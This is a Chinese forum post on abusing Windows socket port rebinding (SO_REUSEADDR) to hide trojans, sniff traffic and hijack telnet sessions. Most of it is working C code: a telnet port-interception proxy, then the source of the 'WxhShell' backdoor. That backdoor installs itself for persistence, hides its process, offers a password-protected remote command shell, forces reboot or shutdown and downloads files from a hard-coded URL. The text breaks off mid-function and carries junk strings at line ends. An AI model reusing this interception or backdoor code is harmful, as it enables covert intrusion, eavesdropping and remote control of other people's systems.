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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (61twutC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i6g[E 4nk  
3Ld ;zW  
  saddr.sin_family = AF_INET; +{Vwz  
I$6 f.W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :9rhv{6Wp  
ubN"(F:!-S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s>M~g,xTU  
X-ki%jp3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zm8 u:  
Sfr\%Buv  
  这意味着什么?意味着可以进行如下的攻击: lJ>QTZH!wW  
$v bAcWj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BqEubP(si  
<cfH '~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J!K/7u S  
W1vAK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XpAq=p0;  
Z\gg<Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \,cKt_{ u  
j@?[vi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kO`3ENN  
k.%W8C<Pa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1KIq$lG{ E  
|>o0d~s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6L6~IXL>  
-JQg ~1  
  #include <sWcS; x  
  #include @tv];t  
  #include 8hdAXWPn  
  #include    {@K2WB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xMfv&q=k@  
  int main() vL=--#  
  { v`ZusHJ1d  
  WORD wVersionRequested; `Py= ?[cD  
  DWORD ret; W!4V: (T  
  WSADATA wsaData; /HJ(Wt q  
  BOOL val; n.qxxzEN  
  SOCKADDR_IN saddr; Sp$x%p0  
  SOCKADDR_IN scaddr; /%q9hI   
  int err; Nj@?}`C 4  
  SOCKET s; \F+o=  
  SOCKET sc; >LaL! PnZ  
  int caddsize; 3 ws(uF9$  
  HANDLE mt; wyA(}iSq  
  DWORD tid;   "KI,3g _V  
  wVersionRequested = MAKEWORD( 2, 2 ); 53+rpU_  
  err = WSAStartup( wVersionRequested, &wsaData ); 0) Um W{  
  if ( err != 0 ) { VU0tyj$  
  printf("error!WSAStartup failed!\n"); .]ZuG  
  return -1; lbuW*)  
  } =UKR<@QrK  
  saddr.sin_family = AF_INET; .gkPG'm[  
   Md?bAMnG+}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _kY[8e5  
't%%hw-m}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %WT:RT_  
  saddr.sin_port = htons(23); q fH~hg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gx*0$4xJ3  
  { [.Wt,zrE  
  printf("error!socket failed!\n"); v7OV;e a$  
  return -1; .fh?=B[o#  
  } M^JZ]W(  
  val = TRUE; $\@ V4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,t&-`U]AX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~md|k  
  { [dF=1E>W_J  
  printf("error!setsockopt failed!\n"); w{O3P"N2  
  return -1; lnC Wu@{  
  } |tJ%:`DGw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #`L}.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &eS70hq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g*c\'~f;  
/uz5V/i0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ._8cJf.ae  
  { = SJF \Z  
  ret=GetLastError(); Di"9 M(6vf  
  printf("error!bind failed!\n"); +2fJ  
  return -1; L(n~@ gq  
  } Jx>B %vZ\  
  listen(s,2); pD6g+Taj  
  while(1) ;I))gY-n  
  { DfzUGX  
  caddsize = sizeof(scaddr); xv%USm  
  //接受连接请求 )W6- h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3XlnI:w =  
  if(sc!=INVALID_SOCKET) MMr7,?,$  
  { '=5_u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5 /jY=/0.a  
  if(mt==NULL) a<"& RnG(  
  { ?_j6})2zY  
  printf("Thread Creat Failed!\n"); p}zk&`  
  break; sCCr%r]zL  
  } vrnj}f[h  
  } nK'8Mo  
  CloseHandle(mt); n@,eZ!  
  } p{svXP K  
  closesocket(s); W#_gvW  
  WSACleanup(); vMdhNOU  
  return 0; V >uW|6  
  }   fX$4TPy(h  
  DWORD WINAPI ClientThread(LPVOID lpParam) -qP[$Q  
  { fQ_8{=<-&X  
  SOCKET ss = (SOCKET)lpParam; lnSE+YJ>  
  SOCKET sc; o4'4H y  
  unsigned char buf[4096]; aq\TO?  
  SOCKADDR_IN saddr; @wgGnb)  
  long num; mL5f_Fb+  
  DWORD val; wR+`("2{r  
  DWORD ret; BOQV X&g%  
  //如果是隐藏端口应用的话,可以在此处加一些判断  mFoK76  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DSZhl-uGM  
  saddr.sin_family = AF_INET; AbI*/ |sY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4x?u5L 9o  
  saddr.sin_port = htons(23); 9.#R?YP$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >8;%F<o2  
  { d4h(F,K7V  
  printf("error!socket failed!\n"); )[X!/KR90  
  return -1; )bU")  
  } fvMhq:Bu  
  val = 100;  KP-z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /D]r "-  
  { :9q^  
  ret = GetLastError(); UMW^0>Z!v  
  return -1; !enz05VW6.  
  } HF[%/Tu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yn2^nT=8  
  { +Qb/:xQu  
  ret = GetLastError(); *xTquV$  
  return -1; JU1; /3(  
  } #&c;RPac!6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HFWm}vA:  
  { &:f'{>3z  
  printf("error!socket connect failed!\n"); #(J}xz;  
  closesocket(sc); 7{F9b0zwk  
  closesocket(ss); 7#. PMyK9  
  return -1; kGiw?~t=%  
  }  !Ocg  
  while(1) tU/NwA"  
  { a(T4WDl^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <G?85*Nv_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HwMsP$`q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }4]x"DfIg  
  num = recv(ss,buf,4096,0); 'wV26Dm  
  if(num>0) V="f)'S$  
  send(sc,buf,num,0); :!15>ML;-  
  else if(num==0) QO1Gq9  
  break;  pytfsVM  
  num = recv(sc,buf,4096,0); TFNU+  
  if(num>0) y/VmjsN}  
  send(ss,buf,num,0); 7$P(1D4  
  else if(num==0) d6 EJn/  
  break; bO%ck-om!  
  } U I|@5:J  
  closesocket(ss); ! -nm7Q  
  closesocket(sc); :Zo2@8@7  
  return 0 ; 0 3 $ W  
  } @$} \S  
r9*H-V$  
l<_mag/j9o  
========================================================== '6J$X-  
Eakjsk  
下边附上一个代码,,WXhSHELL H4A+Dg,  
3zF7V:XH  
========================================================== C)}LV  
g7f%(W 2dd  
#include "stdafx.h" D|'Z c &  
jt?%03iuk  
#include <stdio.h> _'dy$.g  
#include <string.h> a3IB, dr5P  
#include <windows.h> ^@"f%3  
#include <winsock2.h> D ,^ U%<`  
#include <winsvc.h> \ jdO,-(  
#include <urlmon.h> 4tNgK[6M  
8@ g D03  
#pragma comment (lib, "Ws2_32.lib") *.Hnt\4|  
#pragma comment (lib, "urlmon.lib") ~x|Sv4M  
c2:kZxT  
#define MAX_USER   100 // 最大客户端连接数 _tJURk%  
#define BUF_SOCK   200 // sock buffer qqre d>K  
#define KEY_BUFF   255 // 输入 buffer qZ1PC>  
d0E5;3tQ  
#define REBOOT     0   // 重启 ED&KJnquWJ  
#define SHUTDOWN   1   // 关机 W\Y 4%y}  
q`zR6  
#define DEF_PORT   5000 // 监听端口 wb"t:(>&  
{z ~ '  
#define REG_LEN     16   // 注册表键长度 Gfch|Q^INy  
#define SVC_LEN     80   // NT服务名长度 !`E2O*g  
uoc-qmm  
// 从dll定义API e}w!]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fltc dA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u)>*U'bM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I@v.Hqg+7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vB4qJ{f  
5X|aa>/  
// wxhshell配置信息 |<icx8hbr  
struct WSCFG { vtjG&0GSK  
  int ws_port;         // 监听端口 ,kuOaaV7K  
  char ws_passstr[REG_LEN]; // 口令 (XWs4R.mkb  
  int ws_autoins;       // 安装标记, 1=yes 0=no (I g *iJ%2  
  char ws_regname[REG_LEN]; // 注册表键名 1&nrZG9  
  char ws_svcname[REG_LEN]; // 服务名 * OFT)S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o62gLO]z@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wj~8KHan  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f 2f $aZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jZ yh   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b~echOj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  /t P  
1h{_v!X  
}; X)5O@"4 ?  
mz '8  
// default Wxhshell configuration n&&y\?n  
struct WSCFG wscfg={DEF_PORT, g;@PEZk1  
    "xuhuanlingzhe", wO N Qlt  
    1, obGSc)?j  
    "Wxhshell", rMloj8O*  
    "Wxhshell", CKgyv%T5m:  
            "WxhShell Service", wu'60po  
    "Wrsky Windows CmdShell Service", izA3INT  
    "Please Input Your Password: ", :g_ +{4  
  1, d^>se'ya  
  "http://www.wrsky.com/wxhshell.exe", roQIP%h!  
  "Wxhshell.exe" a)b@en;v  
    }; <{j9|mt  
L1K_|X  
// 消息定义模块 :6{HFMf"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]B[Qdn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /2I("x]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EQ-~e   
char *msg_ws_ext="\n\rExit."; ,oe4*b}O=.  
char *msg_ws_end="\n\rQuit."; ZrBxEf$f  
char *msg_ws_boot="\n\rReboot..."; % VZ\4+8S  
char *msg_ws_poff="\n\rShutdown..."; t trp| (  
char *msg_ws_down="\n\rSave to "; hG)lVo!L4j  
O[5ti=W  
char *msg_ws_err="\n\rErr!"; @^@-A\7[KO  
char *msg_ws_ok="\n\rOK!"; p%'((!a2  
cd#TKmh7re  
char ExeFile[MAX_PATH]; -`o:W?V$u  
int nUser = 0; ~46ed3eGzi  
HANDLE handles[MAX_USER]; Atw^C+"vW&  
int OsIsNt; "zc!QHpSd  
"m5ZZG#R`  
SERVICE_STATUS       serviceStatus; v-qS 'N 4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dRmTE  
*z~Y*Q0  
// 函数声明 p6*D^-  
int Install(void); l71\II  
int Uninstall(void); >[U$n.  
int DownloadFile(char *sURL, SOCKET wsh);  t&]IgF  
int Boot(int flag); %yVZ|d*Q  
void HideProc(void); = %m/  
int GetOsVer(void); T@.CwV  
int Wxhshell(SOCKET wsl); 2"T&Fp<  
void TalkWithClient(void *cs); FSk:J~Z;  
int CmdShell(SOCKET sock); X:5*LB\/v  
int StartFromService(void); -TWo-iu^  
int StartWxhshell(LPSTR lpCmdLine); .>e~J+oL  
suwj1qYJ4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7[\B{N9&W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z=sqO'~  
To+{9"$,  
// 数据结构和表定义 8*ysuL#  
SERVICE_TABLE_ENTRY DispatchTable[] = Lb/_ULo6-V  
{ (;3jmdJhK  
{wscfg.ws_svcname, NTServiceMain}, 1GxYuTZ{  
{NULL, NULL} 49 D*U5o  
}; umeb&\:8S-  
wv$=0zF  
// 自我安装 %;S5_K,  
int Install(void) B#}RMFIj  
{ >v{m^|QqB  
  char svExeFile[MAX_PATH]; Qt$Q/<8U  
  HKEY key; ;I0/zeM%  
  strcpy(svExeFile,ExeFile); as8<c4:v  
V !$m{)Y  
// 如果是win9x系统,修改注册表设为自启动 i%iU_`  
if(!OsIsNt) { Ho/5e*X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,MJZ*"V/3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bH&H\ Mx_k  
  RegCloseKey(key); ^B/{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rRW&29A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |^{ IHF\  
  RegCloseKey(key); \wd~ Y  
  return 0; .:0nK bW  
    } 6Jm4?ex  
  } :?TV6M  
} h) rHf3:  
else { E^!%m8--  
mAMKCxz,  
// 如果是NT以上系统,安装为系统服务 M;OYh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); In r%4&!e  
if (schSCManager!=0) &'R]oeag  
{ ;Ba f&xK  
  SC_HANDLE schService = CreateService Tm `CA0@  
  ( H>B:jJf  
  schSCManager, sXUM,h8$!+  
  wscfg.ws_svcname, -mXEbsm  
  wscfg.ws_svcdisp, %`~8j H@  
  SERVICE_ALL_ACCESS, 1JM~Ls%Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C`ok{SNtUy  
  SERVICE_AUTO_START, %<klz)!t  
  SERVICE_ERROR_NORMAL, AjpQb ~\  
  svExeFile, R~b$7jpd  
  NULL, :V [vE h  
  NULL, X qh+  
  NULL, _LK(j;6K}  
  NULL, v1: 5 r  
  NULL I;7VX5X  
  ); h*Ej}_  
  if (schService!=0) B:l(`G  
  { @"6BvGU2s  
  CloseServiceHandle(schService); c{[d@jt O  
  CloseServiceHandle(schSCManager); pq@ad\8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); opBv x>S  
  strcat(svExeFile,wscfg.ws_svcname); Gr_I/+<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qdOS=7]W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W[YtNL;  
  RegCloseKey(key); czj[U|eB}=  
  return 0; Z?~7#F~Z`  
    } 8=$@azG  
  } CyE.q^Wm  
  CloseServiceHandle(schSCManager); =(o$1v/k  
} UuN(+&oD-  
} umi#Se3&  
J[9jNCq|  
return 1; 9QpKB c  
} Qt k'^Fc  
L%"&_v#a^  
// 自我卸载 ?p5Eo{B  
int Uninstall(void) )2a!EEHz  
{ 7BC9cS(0w9  
  HKEY key; Jyd%!v  
\"5\hX~dS  
if(!OsIsNt) { (T@ov~ @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { te1lUQ  
  RegDeleteValue(key,wscfg.ws_regname); A2B&X}K|U  
  RegCloseKey(key); 8!1o,=I$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % R'eV<  
  RegDeleteValue(key,wscfg.ws_regname); 2 `#|;x^<  
  RegCloseKey(key); %j=7e@   
  return 0; _onHe"%{  
  } ALFw[1X  
} <#c2Hg%jh  
} k07O.9>  
else { xH92=t-w  
@x)z" )>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :`_wy-}V  
if (schSCManager!=0) mCg5-E~;  
{ '0[l'Dt'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7n#0eska,  
  if (schService!=0) tJ 6:$dh  
  { PoC24#vS  
  if(DeleteService(schService)!=0) { #0weN%  
  CloseServiceHandle(schService); I qma vnM#  
  CloseServiceHandle(schSCManager); {|a' =I#2  
  return 0; h.DQ6!?;s  
  } ;Eck7nRA)  
  CloseServiceHandle(schService); ~!UxmYgO  
  } 7m1*Q@D  
  CloseServiceHandle(schSCManager); m'%F,c)  
} ;R/=9l  
} eM8u ;i  
5t0$nKah]  
return 1; ,]o32@   
} D@mDhhK_  
Am- JB  
// 从指定url下载文件 8,%y`tUn>u  
int DownloadFile(char *sURL, SOCKET wsh) z2-=fIr.h  
{ ak<?Eu9rV  
  HRESULT hr; !Qn:PSk  
char seps[]= "/"; Xc'yz 2B  
char *token; SMnbI .0  
char *file; !j\  yt  
char myURL[MAX_PATH]; ?vvjwys@  
char myFILE[MAX_PATH]; "ibKi=  
R_/T bz  
strcpy(myURL,sURL); +W-sb5)  
  token=strtok(myURL,seps); Q7i^VN  
  while(token!=NULL) puDy&T  
  { rGx1>xd(k  
    file=token; (R.k.,z  
  token=strtok(NULL,seps); r0_3`; H  
  } +-5CM0*&  
bE0cW'6r  
GetCurrentDirectory(MAX_PATH,myFILE); ZQ@^(64  
strcat(myFILE, "\\"); T?Gi;ld7  
strcat(myFILE, file); U%2pbGU  
  send(wsh,myFILE,strlen(myFILE),0); O75ioO0  
send(wsh,"...",3,0); { R&F_51)V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e -x{7  
  if(hr==S_OK) ,OG sx  
return 0; ! G,Ru~j5:  
else nAg|m,gA  
return 1; Z#d_<e?  
m/CA  
} d[jxU/.p;  
5 '.j+{"  
// 系统电源模块 i_I`Y  
int Boot(int flag)  _8t{4C  
{ .,-t}5(VSq  
  HANDLE hToken; p-M QI }  
  TOKEN_PRIVILEGES tkp; <^OGJ}G  
n&k1'KL&  
  if(OsIsNt) { |7%M:7 Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jR*1%.Ng  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v;irk<5  
    tkp.PrivilegeCount = 1; P 3);R>j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Au@U;a4UU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !%sj-RMvG  
if(flag==REBOOT) { X`[or:cB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k'EP->r  
  return 0; Z-Zox-I1}-  
} L7C!rS  
else { !c'a<{d@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k(!#^Mlz[  
  return 0; kC6J@t)  
} BPtU]Bv-  
  } Ig*!0(v5$  
  else { x>7}>Y*(  
if(flag==REBOOT) { /id(atiF^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6imDA]5N&  
  return 0; ]#KZ W)M  
} Ez+.tbEA,  
else { XoL9:s(m~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e&#qj^  
  return 0; `TBau:ElI  
} LQ373 j-  
} ~O&3OL:L  
Cz8=G;\  
return 1; AI/xOd!a  
} 9Iy>oV  
XF'K dz>p  
// win9x进程隐藏模块 BPwFcT)i!(  
void HideProc(void) 6xvyhg#B  
{ Em %"] B  
;y Wfb|!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ){ArZjG>  
  if ( hKernel != NULL ) [$ vAjP  
  { ESL(Mf'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  UcKpid  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I~gU3(  
    FreeLibrary(hKernel); 7J.alV4`/  
  } vSX71  
Sc`W'q^X  
return; Si.3Je[q  
} d>VerZZU  
,FlF.pt  
// 获取操作系统版本 #iJ+}EW _  
int GetOsVer(void) ;gP@d`s  
{ XN'x`%!*3#  
  OSVERSIONINFO winfo; 9YwK1[G6/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -[^aWNqyJ  
  GetVersionEx(&winfo); wRCGfILw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ox Zw;yD  
  return 1; &Vd,{JU  
  else 2*ZB[5_V  
  return 0; _r^Cu.[7  
} y?zNxk/p  
:?O+EE  
// 客户端句柄模块 2aNCcZw0  
int Wxhshell(SOCKET wsl) 37Q9goMov  
{ Z4b<$t[u  
  SOCKET wsh; #"jEc*&=  
  struct sockaddr_in client; 0V }knR.l  
  DWORD myID; 'x$>h)t]  
>T'^&l(:  
  while(nUser<MAX_USER) CuR.a  
{ Wz`MEyj  
  int nSize=sizeof(client); Z ^zUb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9~J  
  if(wsh==INVALID_SOCKET) return 1; 3){ /u$iH.  
Xb@lKX5Re  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "u@)   
if(handles[nUser]==0) 82O#Fe q  
  closesocket(wsh); 0B7cpw>_J  
else xxpvVb)mF  
  nUser++; 1O"7%Pvw  
  } / q*n*j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }\!&3^I  
k z"F4?,  
  return 0; B{hP#bYK  
} Ei2hI  
*G"L]Nq#  
// 关闭 socket +] s"*'V$  
void CloseIt(SOCKET wsh) hN=YC\l  
{ QVA)&k'T,  
closesocket(wsh); eo.y,Uh  
nUser--; 38ChS.(  
ExitThread(0); cy%JJ)sf  
} _ +q.R  
kC"lO'  
// 客户端请求句柄 z%Pbs[*C  
void TalkWithClient(void *cs) (,z0V+ !  
{ Dl_y[ 9  
Y]!8Ymuww@  
  SOCKET wsh=(SOCKET)cs; -!zyit5B  
  char pwd[SVC_LEN]; e@}zp  
  char cmd[KEY_BUFF]; ~M7 J{hK  
char chr[1]; ?=}~]A5N  
int i,j; x%Ivd  
B U |]4  
  while (nUser < MAX_USER) { o&g-0!"  
~"6/OJA  
if(wscfg.ws_passstr) { \D}K{P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )FVW/{NF@q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Wtod|vx\U  
  //ZeroMemory(pwd,KEY_BUFF); n%yMf!M .:  
      i=0; |E/U(VS3l~  
  while(i<SVC_LEN) { F0 x5(lp Q  
?nN3K   
  // 设置超时 $Hh3*reSg-  
  fd_set FdRead; _?$P?  
  struct timeval TimeOut; Q}.zE+  
  FD_ZERO(&FdRead); f4eLnY  
  FD_SET(wsh,&FdRead); qw={gZ  
  TimeOut.tv_sec=8; cyu)YxT  
  TimeOut.tv_usec=0; Z:7X=t =  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YaI8hj@}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ry2rQM`  
#!!Ea'3Iq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jLRUWg  
  pwd=chr[0]; |O =Fz3)  
  if(chr[0]==0xd || chr[0]==0xa) { O {u^&V]  
  pwd=0; l8rBp87Q  
  break; 'Pyeb`AXE9  
  } X-[_g!pV  
  i++; U,q ]  
    } "9mJ$us  
gwHNz5 a*V  
  // 如果是非法用户,关闭 socket TNs ;#Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }$EcNm$%  
} vd+yU9  
$#E?`At{I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CDOqdBQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N4y$$.uv2  
M8j%bmd(,  
while(1) { $$QbcnOf$  
2\ 3}y(  
  ZeroMemory(cmd,KEY_BUFF); Byq4PX%B  
Pt<lHfd  
      // 自动支持客户端 telnet标准   $7 1(g$6#  
  j=0; MHZ!noAr  
  while(j<KEY_BUFF) { an!ceB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;`ZGiax  
  cmd[j]=chr[0]; Id-?her>B  
  if(chr[0]==0xa || chr[0]==0xd) { V0y Q  
  cmd[j]=0; t<'-?B2g  
  break; =fy~-FN_  
  } ,#;%ILF4%  
  j++; 2Hltgt,  
    } e]N?{s   
G;r-f63N  
  // 下载文件 'Y`.0T[&  
  if(strstr(cmd,"http://")) { QI\&D)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @k.j6LKbc  
  if(DownloadFile(cmd,wsh)) GMD>Ih.k:9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NKae~ 1b  
  else dfkmIO%9X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}sC8,Sr  
  } r2,AZ+4FP  
  else { T^'NC8v  
#N"zTW%  
    switch(cmd[0]) { E*rnk4Y  
  pC9Ed9uRK  
  // 帮助 Q 5R7se_  
  case '?': { +Fu=9j/,j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X[pk9mha  
    break; eO<:X|9T  
  } Ya$JX(aUe  
  // 安装 ;Kb]v\C:  
  case 'i': { l+$ e|F  
    if(Install()) $'M:H_T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^]=h#[e  
    else M+Rxt.~6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NUiNn 7C  
    break; N[G<&f9  
    } 8p3pw=p  
  // 卸载 8!e1T,:b  
  case 'r': { 3)SO-Bz\  
    if(Uninstall()) JStT"*4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X8U._/'N  
    else i7^_y3dG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7=jeq|&kN  
    break; +jk_tPSe  
    } n[2[V*|mI  
  // 显示 wxhshell 所在路径 xHN"7j}h  
  case 'p': { pfCNFF*"  
    char svExeFile[MAX_PATH]; C+/D!ZH%P  
    strcpy(svExeFile,"\n\r"); O{" A3f  
      strcat(svExeFile,ExeFile); ((Bu Bu>  
        send(wsh,svExeFile,strlen(svExeFile),0); wr\d5j  
    break; Z$h39hm?c  
    } &^-quzlZ  
  // 重启 K>H_q@-?f  
  case 'b': { X2#;1 ku  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /mST<{(_G\  
    if(Boot(REBOOT)) 4%5H<:V7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  imE5 $;  
    else { lH_S*FDa  
    closesocket(wsh); ,$ICv+7]  
    ExitThread(0); <{\UE~  
    } ^%|(dMo4  
    break; cpV:y  
    } @=jcdn!\M  
  // 关机 LGb.>O^  
  case 'd': { ebF},Q(48  
